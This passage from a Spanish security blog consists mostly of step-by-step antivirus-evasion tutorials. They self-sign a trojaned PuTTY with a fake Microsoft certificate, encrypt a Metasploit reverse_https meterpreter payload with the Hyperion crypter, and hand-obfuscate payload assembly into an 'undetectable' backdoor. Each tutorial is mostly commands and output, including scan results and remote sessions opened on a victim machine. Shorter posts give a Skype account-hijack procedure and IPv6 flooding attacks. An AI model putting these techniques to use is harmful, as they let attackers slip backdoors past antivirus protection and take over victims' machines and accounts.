EozcoDAwLTkBjgnTkLHjw8/S8awSnHJQh4s2i0wUvVoP7Xv46gtgFvvJ3bdo0/ID
Z+468Lkg0QEk3LSkn9ANajIs6b8NGkvOZIRJJGlLof7bbuW/Vdo1ehLS4kKCXxea
0BBmRfkmPXa/pzpG8ls19dfoIy6ZgiqossNNpDaRRLOd+zzpxiCxCYuOPV6BV2TF
v34wwwvP//8/OrCt5FQqVU2kDjN716Y/5VJ2TQ3qunev5otH+pa9S2q2kZXLfayT
17Mwj/GQNoJsfG4tq3Rb/45ponFzZDO1N+kXhqIBhZvrC+0Q6yBNoIAbJ8BJHNUF
DdpMEDsjT+Xz36fnaPa/iuq5OAf4bibrYUdGk0OiI2i4cCtl8QWFcdd4GmJuLl3g
TW3O7y0GtfrQ58UKGv8HxP++45+sGT5k7x/UXEDyZ+mgzCBGYHWsC2xOoZow9INB
OEN2tmLBzHD4qneVF60UMwt/QCJns17SgeVczcjfe0tyxt9y7+nS39u2tay96TXN
zPIXyCUh3OvFR9s7Jeg5tBoGLGtVbnF+DW70A2oKPgbDaTuy/m1OCqxb4IZVIwIL
fkBdYK6+eRpUfeWqFT1bUHw70aHmfaHg7lmQS9wNFCXijNfnFjpMvJrIh+rpCh11
muNHKmqGX1HQ46vAaC+eBkhcumsJCyJxHPSAnOKPzx2wf3PETeZguAv6nOjCi6fx
hmz7vDofZ++J0e/mFywMf6nJ0/0PTXs4bG4mnb6GUKn9kjQ0aSDwdjeyw1Gypooe
kexUgs+W/znswoWp9yQ1NkL0y9R2GELdZRNvUwuA2aZOStYj/0ljyw==
-----END RSA PRIVATE KEY-----

Después necesitaremos convertir la clave a formato binario .der (ASN.1 BER-encoded):
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl rsa -in clave.pem -out clave.der -outform DER 
Enter pass phrase for clave.pem:
writing RSA key
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.der
clave.der: data

Si echamos un vistazo a este formato obtendremos una salida ilegible, que siempre suelen comenzar con un carácter '0' (0x30).
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.der 
0? ? ? ??W?r& ???H?NWT+?h??91`?~?? ui???d >?"     0?bc?m??z`? 5T2J?.??PD??w$?d6dU[
                                                                                         ?:Th8???    \?|]?u?????C?X????? ?????e }?m???JI ?=?NZ)?H???R??Zy@?tc?0?B ???? 2?,??? ?:? ?0? ?"?'? :dN????! ?n?s?????/^?p??J?'F???? 8????j?k ^ "ffP??%?.??? ? #??1??wb????rgw}Z\8
???9?bT
       ?P =@??0???bR?? 71??I ??/?!???J1; ?; ??4@ v?>:br@?8???@55??    S NF?D??????
                                                                                      ???38h?k? $3oV??s?5
b< ??W@.Yq?????mM????>1??e????:???r?A????6?? ???3?? ?????! ?T                                            ??)2?3 Z<,?
                                                             ?p??i?P????5??????=?e]?*?9 ?????,?[???d?? ??n?+?k8?U?+ b ???rsj??o?? ????o
           ??g?E?wZ?9?e?\D?P?m?????"<` ?$p9??)??g ?r #???(?Rcqb#iX?F?:?:Aux???r? ??????5G? A&?/d*??
                                                                                                   ??,/F?e -|??6L?t?_? ?????????J??? ???1?šT?D?H%?? ???$?[9 ?Am?T ?YN
??}?L???[?
          aM? U ??vb?m??? ?v?l???&?
                                   ?S??                                                             N 0???+X ~?j?YC??C ???Ck%???? ???0?q9Y?? ?6l? ????e)|??1??f??l'?? a?[D????bI?? ?T -??q ???+??:?k???8J?eU \    |%
root@bt:/home/pruebas/avbypass/osslsigncode-1.4#
Ahora que ya tenemos nuestra clave, procederemos a crear el certificado autofirmado:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl req -new -x509 -key clave.pem -out certificado.pem -days 365
Enter pass phrase for clave.pem:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:LA
Locality Name (eg, city) []:Los Angeles
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Microsoft
Organizational Unit Name (eg, section) []:IT
Common Name (eg, YOUR name) []:Bill Troy
Email Address []:btroy_r@microsoft.com
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.pem
certificado.pem: PEM certificate
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat certificado.pem
-----BEGIN CERTIFICATE-----
MIIEjzCCA3egAwIBAgIJAJPHifiZZJzbMA0GCSqGSIb3DQEBBQUAMIGLMQswCQYD
VQQGEwJVUzELMAkGA1UECBMCTEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYD
VQQKEwlNaWNyb3NvZnQxCzAJBgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kx
JDAiBgkqhkiG9w0BCQEWFWJ0cm95X3JAbWljcm9zb2Z0LmNvbTAeFw0xMjExMTUx
MTUxMjZaFw0xMzExMTUxMTUxMjZaMIGLMQswCQYDVQQGEwJVUzELMAkGA1UECBMC
TEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYDVQQKEwlNaWNyb3NvZnQxCzAJ
BgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kxJDAiBgkqhkiG9w0BCQEWFWJ0
cm95X3JAbWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJfqsphXhHImA+mkx0iOONhOV1Qrt2jG1Y45MWCwfpTpHXVp5djIZB8+iiIe
CTDKYmPKbfOAemCAEzVUMkrrLqezUETPvrZ3JKVkNmRVDlsEDKA6VGg45v3yCVyS
fF3cdeHyreGuQ8ZYpdq50NvYEIuUp+zjZRt92m2cow/dB0pJBtY9nE4PWin7SIPR
tshSqgjVjsVaeUDfr3Rj9zDrQhy018CRGjIO5SyZiK0a4Tr6AhymMIEEpyKUJ4oQ
OmROgNOiBfHjq6UhENmfbtZzot7zs4yyjS9ezXC3gErhJ86muYJ/+MsGHzi5gdWl
lmqiayBeFSJmZlCdgCWHLqfY4BMCAwEAAaOB8zCB8DAdBgNVHQ4EFgQUQb61nshB
TDi8FQh7JoqY5+/RF1gwgcAGA1UdIwSBuDCBtYAUQb61nshBTDi8FQh7JoqY5+/R
F1ihgZGkgY4wgYsxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJMQTEUMBIGA1UEBxML
TG9zIEFuZ2VsZXMxEjAQBgNVBAoTCU1pY3Jvc29mdDELMAkGA1UECxMCSVQxEjAQ
BgNVBAMTCUJpbGwgVHJveTEkMCIGCSqGSIb3DQEJARYVYnRyb3lfckBtaWNyb3Nv
ZnQuY29tggkAk8eJ+JlknNswDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOC
AQEADGyRrAUJ2tTA5yMcn6NkfafLhUyUG7iWxs4EV+2NzE4pci/Qs/xK7So7Fz+y
qO5EarNY+WnH/MnFg1juCQ2K6UBf0NLFDMzNI5QjSngDntHLF9QHqjIldhm45khk
5SnOXDQS//M2q0gIJq4MOvNtctVyZOTHNK3PHvrpf3zFuwPWAUwgl4uKhWOCRIat
D1SsS/zBeda1oJU8B1TbfGiZqhjfuCEjtPLCLNRU/hksxJBeeA6yMhiR9KlDQTzB
tuH+yhK/IrqaW3P9o2KzeTCDl/vvLTmjRVqx4Ttwq8NCUmXV28/WVafr2noDXe62
+6r83DASXtVxvdQXhODI3TLdYA==
-----END CERTIFICATE-----

Antes de utilizar osslsigncode, necesitamos convertir el certificado al formato de la CryptoAPI de Microsoft, obteniendo como resultado un fichero con extensión .spc (Software Publisher's Certificate):
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl crl2pkcs7 -nocrl -certfile certificado.pem -outform DER -out certificado.spc
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.spc
certificado.spc: data

Ya podemos firmar el ejecutable:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# osslsigncode -spc certificado.spc -key clave.der -n "Putty" -i http://www.chiark.greenend.org.uk/ -in evilputty.exe -out evilputty-firmado.exe
Succeeded
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file evilputty-firmado.exe
evilputty-firmado.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Ahora veamos el análisis de los ejecutables mediante VirusTotal. Como véis, nuestro "putty maligno" tiene una alta tasa de detección:

https://www.virustotal.com/file/4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89/analysis/1352982503/
SHA256:     4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89
Nombre:     evilputty.exe
Detecciones:     28 / 44

Finalmente la prueba de fuego... analizamos también nuestro "putty maligno" auto-firmado:

https://www.virustotal.com/file/777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8/analysis/1352982351/
evilputty-firmado.exe
SHA256:     777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8
Nombre:     evilputty-firmado.exe
Detecciones:     25 / 44

¡Tres antivirus no detectan el payload de Metasploit: ByteHero y (nada más y nada menos) que Avira AntiVir y Avast!!

Pero espera, espera, que no acabamos... para los amantes de M$ podemos repetir las pruebas con signtool:
D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>makecert -r -pe -$ individual -n CN=TEST1 -sv test1.pvk test1.cer
Succeeded

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>pvk2pfx -pvk test1.pvk -spc test1.cer -pfx test1.pfx

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty.exe

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty-firmado.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty-firmado.exe

https://www.virustotal.com/file/2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444/analysis/1353001810/
SHA256:     2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444
Nombre:     evilputty-firmado.exe
Detecciones:     25 / 44

Y obtenemos los mismos resultados... ¿o qué creías? ;)

Grave fallo de seguridad en Skype permitía el secuestro de cuentas

De vez en cuando lees acerca de una vulnerabilidad y te quedas acojonado acongojado. Un sudor frío recorre tu espalda y te sientes un poquito más inseguro. Hablamos de una vulnerabilidad que afectaba al servicio de VoIP de M$, es decir, al archiutilizado Skype. 

Se trataba de un fallo muy tonto que a la postre se ha convertido en una de las brechas de seguridad más grandes conocidas hasta ahora en Skype. Concretamente cualquiera, sin necesidad de grandes conocimientos, podía acceder a una cuenta de Skype de otro usuario tan solo conociendo su dirección de correo electrónico y cambiando la contraseña. 

El procedimiento para conseguirlo se publicó hace dos meses en el foro ruso Xeksec y puede completarse en unos sencillos pasos, eso sí, lo dejamos como PoC porque actualmente y para impedir el secuestro de más cuentas se ha desactivado temporalmente el restablecimiento de contraseña:
 
1. Crea una cuenta nueva y usa el mail de la víctima:
  
2. Abre la aplicación de Skype con esas credenciales:
  

3. Solicita la recuperación de contraseña:

  
 
4. Skype envía el token de recuperación de contraseña al mail y a la aplicación:
 
5. Abres el enlace del token, Skype detecta más de una cuenta asociada a ese mail, eliges el de la víctima y ¡puedes cambiar su contraseña!
  
(capturas de pantalla de pixus.ru)

Metasploit + Hyperion (PE Crypter) para la indetección de ejecutables maliciosos

Todos sabemos lo fácil que es inyectar un payload en un ejecutable mediante msfvenom (msfpayload + msfencoder)... y también lo fácil que es que el fichero resultante sea detectado por multitud de antivirus.

Utilizar un encoder de Metasploit no es la solución y, de hecho, a veces es mejor no usarlos o es indiferente. Nos encontramos entonces que tenemos que luchar contra la detección de firmas, la heurística y los sandboxes de los antivirus. No hay una técnica única, ni una mejor que otra, simplemente cualquiera es buena si conseguimos un bajo ratio de detección o un binario FUD.

El otro día revisamos la técnica de Assembly Ghost Writing y hoy vamos a ver el funcionamiento de un PE crypter bastante reciente denominado Hyperion.
Este crypter desarrollado por NullSecurity actua como un packer pero, en lugar de ofuscar el payload (scrambling) y encapsularlo con las instrucciones necesarias para desofuscarlo, Hyperion cifra el payload y lo encapsula con una clave AES débil la cual simplemente se rompe por fuerza bruta en tiempo de ejecución. ¿Ingenioso verdad?, vamos a ver su instalación, funcionamiento y resultado en una distribución BackTrack:

1. Descarga e instalación del crypter:

root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
crypter.exe  Examples  Fasm  FasmAES-1.0  license.txt  Makefile  Obj  readme.txt  Src
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe

2. Creación del payload con Metasploit:

root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 -f exe > payload.exe
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

3. Cifrado con Hyperion:
root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

root@bt:/home/pruebas/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115890
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5f076d
Generated Encryption Key: 0x3 0x0 0x3 0x3 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\home\pruebas\Hyperion-1.0

Executing fasm.exe

root@bt:/home/pruebas/Hyperion-1.0# flat assembler  version 1.69.31  (886317 kilobytes memory)
5 passes, 0.1 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -las *.exe
root@bt:/home/pruebas/Hyperion-1.0# ls -las *.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 08:46 payload.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 92 -rwxr-xr-x 1 root root  92672 2012-11-14 06:39 encrypted_payload.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

4. Detección multi-AV:

File Info

Report date: 2012-11-14 15:57:54 (GMT 1)
File name: encrypted-payload-exe
File size: 92672 bytes
MD5 Hash: e52fa3edf724db47a629e6f422ff3395
SHA1 Hash: 4378caceebf0926fe24e7bae65daaa8aeefe962b
Detection rate: 5 on 14 (36% )
Status: INFECTED

Detections

Asquared - Trojan.Win32.Spy!IK
Avast -
AVG -
Avira - TR/Crypt.XPACK.Gen
BitDefender -
ClamAV -
Comodo -
DrWeb -
Fprot -
IkarusT3 - Trojan.Win32.Spy
Panda - Trj/Genetic.gen
STOPZilla -
TrendMicro - PAK_Generic.001
VBA32 -

Scan report generated by
NoVirusThanks.org


5. Ejecución de meterpreter:
root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_https
LHOST => 192.168.249.128
LPORT => 443
[*] Started HTTPS reverse handler on https://192.168.249.128:443/
[*] Starting the payload handler...
[*] 192.168.249.1:54391 Request received for /cV3p...
[*] 192.168.249.1:54391 Staging connection for target /cV3p received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54391) at 2012-11-14 06:49:43 -0500

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > getid
[-] Unknown command: getid.
meterpreter > getuid
Server username: PANDORA\vmotos

Como véis, hemos conseguido que nuestro payload se ejecute sin ser detectado en la máquina de la víctima (con AV McAfee) obteniendo una sesión remota de Meterpreter. 


En próximos artículos repasaremos otras técnicas para la evasión de antivirus como modding, firmas de ejecutables, avkillers, etc. Si conocéis alguna otra o queréis que veamos alguna antes en particular no dudéis en comentar la entrada.

Un nuevo informe recuerda la importancia de la seguridad en SCADA y sistemas de control industrial

Un reciente estudio de la empresa Positive Technologies hace algunas afirmaciones sorprendentes: el 40 por ciento de los sistemas SCADA disponibles en Internet pueden ser hackeados fácilmente, la mitad de las vulnerabilidades encontradas permiten la ejecución de código arbitrario en los sistemas destino, un tercio de las vulnerabilidades surgen de malas configuraciones como el uso de contraseñas por defecto y una cuarta parte están relacionados con los usuarios al no instalar actualizaciones de seguridad.

El estudio se basó en un análisis de las vulnerabilidades anunciadas en fuentes como ICS-CERT, Bugtraq, avisos de proveedores y listas similares. Podéis leer el interesante paper aquí.


Además, si quieres leer más acerca de SCADA os aconsejamos echar también un vistazo a los siguientes enlaces en castellano (y compartir con nosotros aquellos adicionales que consideres interesantes):

Un ataque devastador mediante flooding con mensajes RA en IPv6

Imagina un ataque extremadamente peligroso, en el que un único dispositivo pueda parar la actividad de todas las máquinas de una red local. Estos ataques existen y son posibles gracias a diversas vulnerabilidades de flooding en IPv6 mediante mensajes RA (Router Advertisement)

La primera de ellas fue reportada hace ya dos años (http://www.securityfocus.com/bid/45760/info) y todavía afectan a M$ Windows XP, Vista, Windows 7, Server 2008 y a versiones antiguas de Solaris, OS X, FreeBSD/NetBSD (estos últimos si parchearon) e incluso a las consolas XBox y PS3.

Para probarla puedes ejecutar flood_router6 dentro de la suite de ataque thc-ipv6 (se incluye por defecto en BackTrack), o también mediante scapy o npg.

El segundo ataque, publicado recientemente y aún más potente, se aprovecha de la característica DAD (Duplicate Address Detection) de ICMPv6 y podemos encontrarlo también en la versión 2 de thc-ipv6: dos-new-ip6.

Como veis en el siguiente vídeo el resultado es devastador:
 

Hay varias formas de mitigar estos ataques. Las más efectivas son también las más radicales: desactivar IPv6 si no se utiliza o desactivar Router Discovery, algo quizás no muy apropiado para PCs clientes. Otras opciones son utilizar un firewall local para bloquear mensajes RA, una solución barata pero fácilmente rompible, o utilizar switches con RA Guard, que también puede evadirse mediante varias técnicas de fragmentación de paquetes...

Podéis encontrar mayor detalle e información en:

Win 7 DoS by RA Packets
Win 8 Developer Preview is also vulnerable
RA Guard Evasion
FreeBSD is also vulnerable!
Excellent advisory from Marc Heuse* with complete disclosure timeline
Multiple Vendors IPv6 Neighbor Discovery Router Advertisement Remote Denial of Service Vulnerability
CVE-2010-4669 - Router Advertisements Cause DoS in Windows
Bypassing Cisco's ICMPv6 Router Advertisement Guard feature
Packet captures of RA Guard Evasion in action
New RA Flood Attack

Metasploit + Metasm (Ghost Writing ASM) para crear un backdoor indetectable

Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai. 

El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit. 

El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.

En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:

1º Creamos el ejecutable malicioso en formato con msfpayload.

root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw
binario.raw: data

2º Preparamos metasm (http://metasm.cr0.org/)

root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2

3º Desensamblamos el fichero binario:

root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm

4º Ofuscamos manualmente el código,
desde esto:

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff
a esto:
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch

y añadimos al principio del fichero:
.section '.text' rwx
.entrypoint

5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe
carga.exe: MS-DOS executable, MZ for MS-DOS

6º Lanzamos la consola de Metasploit con el multi/handler:
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443
[*] Starting the payload handler...

7º Y finalmente ejecutamos carga.exe en el equipo Windows:
[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter >

Lista de sitios web que recopilan malware


En KernelMode.info, un foro para la exploración del modo-kernel que os recomiendo que visitéis, podemos encontrar una lista de recursos que sirven malware y que pueden interesarnos para obtener muestras para un posterior análisis. Usarlos con precaución:
Como siempre, si conocéis algún otro sitio no dudéis en comentar esta entrada y/o la del foro para añadirla al respositorio.

El ezine #4 de Hack The Planet compromete a Imageshack, Symantec, ZPanel y a varios simpatizantes de Anonymous

Esta mañana Hack The Planet (HTP) ha publicado su ezine número 4 con información de las incursiones en los sitios web del servicio de imágenes Imageshack y el antivirus Symantec, además de un exploit 0-day para la pasarela de pago de Paypal el panel de control de hostings ZPanel y detalles de información personal de varios seguidores incautos de Anonymous.
Los datos filtrados contienen un montón de información de los servidores comprometidos, así como todos los exploits utilizados y vulnerabilidades encontradas y muchos ya lo asocian a los ataques de Anonymous que han comenzado hoy #Nov5.

Podéis encontrar las razones y todo el detalle en esta agradable e interesante lectura: http://pastebin.com/jhLt7s83


Fuente: Imageshack, Symantec hacked & ZPanel 0 day by HTP ( Hack The Planet )  
Updated: first edit i made a mistake and stated that paypal was the victim of the 0 day when it was infact ZPanel. Sorry for any inconvenience or misleading information.

Un grupo de Anonymous publica el código fuente del kernel de VMware ESX Server

El grupo de Anonymous "Stun" ha publicado el código fuente del kernel de VMware ESX Server según anunciaban en su tweet "WILD LEAKY LEAK. FULL VMware ESX Server Kernel LEAKED LINK #Anonymous #AntiSec". 


La razón de este leak es que VMware parece seguir desarrollando sin tener en cuenta buenas prácticas para la seguridad: "Jodiendo gente y vendiendo mierda. Pero ya es hora de que Anonymous finalmente se pronuncie. Por su puesto VMware intentará hacer creer que se trata de un kernel viejo y no se utiliza en sus productos recientes. Pero gracias a Dios, todavía hay cosas como la ingeniería inversa que desmostrará la verdad".

En concreto es un torrent de 1.89 MB titulado "VMware ESX Server Kernel LEAKED" y según "Stun" es una versión original de 1998-2004 todavía utilizada en algunos productos...


Fuente: Anonymous leaks VMware ESX Server Kernel source code

¿Te sientes como James Bond? Participa en el último #sophospuzzle

Si os suena el hashtag #sophospuzzle seguro que ya habéis visto divertidos retos en los que se ha pedido encontrar la ubicación de un restaurante a partir de una foto de su menú, descifrar un mensaje oculto de una chica con un tatuaje de un dragón  y elaborar un enigma cifrado por medio de fechas de cumpleaños. 

En esta ocasión, el tema es Skyfall y Bond, James Bond. Vas a manejar un mensaje de otro agente, descodificar un archivo de datos de la computadora robada M, y desentrañar un lugar secreto - todo un día de trabajo para el agente mejor vestido del mundo.

Para empezar con el rompecabezas, ponte tu esmoquin, pide un Martini y únete a Bond en la mesa de dados (atentos a esta pista y a la imagen de algunos que ya han solucionado la primera fase del reto). Aplica un poco de pensamiento lateral y un poco de personalización en motores de búsqueda para encontrar la manera de convertir el texto abajo en una dirección URL:

44516 54221 43313 slash SHAKE DON'T STIR

Luego diríjete a la dirección obtenida para ir a la próxima fase del rompecabezas.
 
Tienes hasta el próximo lunes para resolverlo. Cuando lo hayas resuelto, envía tu respuesta a duck@sophos.com.

Las primeras diez respuestas correctas recibirán un nueva camiseta de Naked Security. Además, entre las respuestas correctas se extraerán dos nombres al azar que recibirán un arma NERF.

¡Feliz fin de semana! 

Fuente: Fancy yourself as James Bond? Take on the #sophospuzzle and win a NERF gun... 

Actualización: Wall of Fame for the #sophospuzzle - see who solved it and how fast

Primeros exploits de día 0 para Windows 8

Menos de una semana después de que Microsoft lanzara su flamante Windows 8, los hackers franceses de Vupen han desarrollado un exploit para este nuevo sistema operativo e Internet Explorer 10. Chaouki Bekrar, CEO de Vupen, escribía en Twitter "Damos la bienvenida a #Windows 8 con varios 0Ds combinados para pwn todas las nuevas mitigaciones de exploits de Win8/IE10, Felicidades a nuestro mitigador de mitigaciones @n_joly".

Recordemos que, entre las características de seguridad de Microsoft Windows 8, se incluye por defecto DEP (Data Execution Protection) y ASLR (Address Space Layout Randomization) para aleatorizar la localización de las instrucciones de los programas en memoria e impedir que se ejecuten datos en algunas direcciones específicas. Además, se añaden técnicas antiROP (Return-oriented programming) para proteger estos dos métodos y se incluye la aplicación anti-malware Windows Defender y la última versión de Internet Explorer utiliza un "sandbox" llamado  AppContainer para intentar impedir que se ataque directamente al sistema a través del navegador.

Sin embargo, es evidente que Windows 8 no es invulnerable y ya en la conferencia Black Hat de este verano se mostraron exploits que teóricamente evadían sus medidas de seguridad. Tarjei Mandt, investigador de seguridad Azimuth Security comentaba "El kernel de Windows 8 fundamentalmente no cambia ninguno de los algoritmos usados en Windows 7 ... Más que nada es una versión fortificada de Windows 7 sin cambios estructurales significativos, pero incluye muchas más comprobaciones".

Por otra parte Microsoft alega que vieron el tweet de Vupen pero que dicha organización todavía no ha compartido con ellos los detalles. Y es que Vupen se lucra en gran parte gracias a la venta de sus hacks e información a agencias gubernamentales y, en definitiva, al mejor postor: "Nuestro primer 0day para Win8+IE10 con HiASLR/AntiROP/DEP y evasión del Mod Prot sandbox (no necesario Flash) está ya disponible para clientes. Bienvenido #Windows8".


Además, en las últimas horas se ha liberado un módulo de Metasploit capaz de explotar el servicio Windows Remote Management (WinRM) para obtener una sesión de Meterpreter. Bienvenido Windows 8 a este nuestro mundo cruel xD:


    msf  exploit(winrm_powershell) > show options
    
    Module options (exploit/windows/winrm/winrm_powershell):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       DOMAIN    WORKSTATION      yes       The domain to use for Windows authentification
       PASSWORD  omfg             no        A specific password to authenticate with
       Proxies                    no        Use a proxy chain
       RHOST     10.6.255.158     yes       The target address
       RPORT     5985             yes       The target port
       URI       /wsman           yes       The URI of the WinRM service
       USERNAME  sinn3r           no        A specific username to authenticate as
       VHOST                      no        HTTP server virtual host
    
    
    Payload options (windows/meterpreter/reverse_tcp):
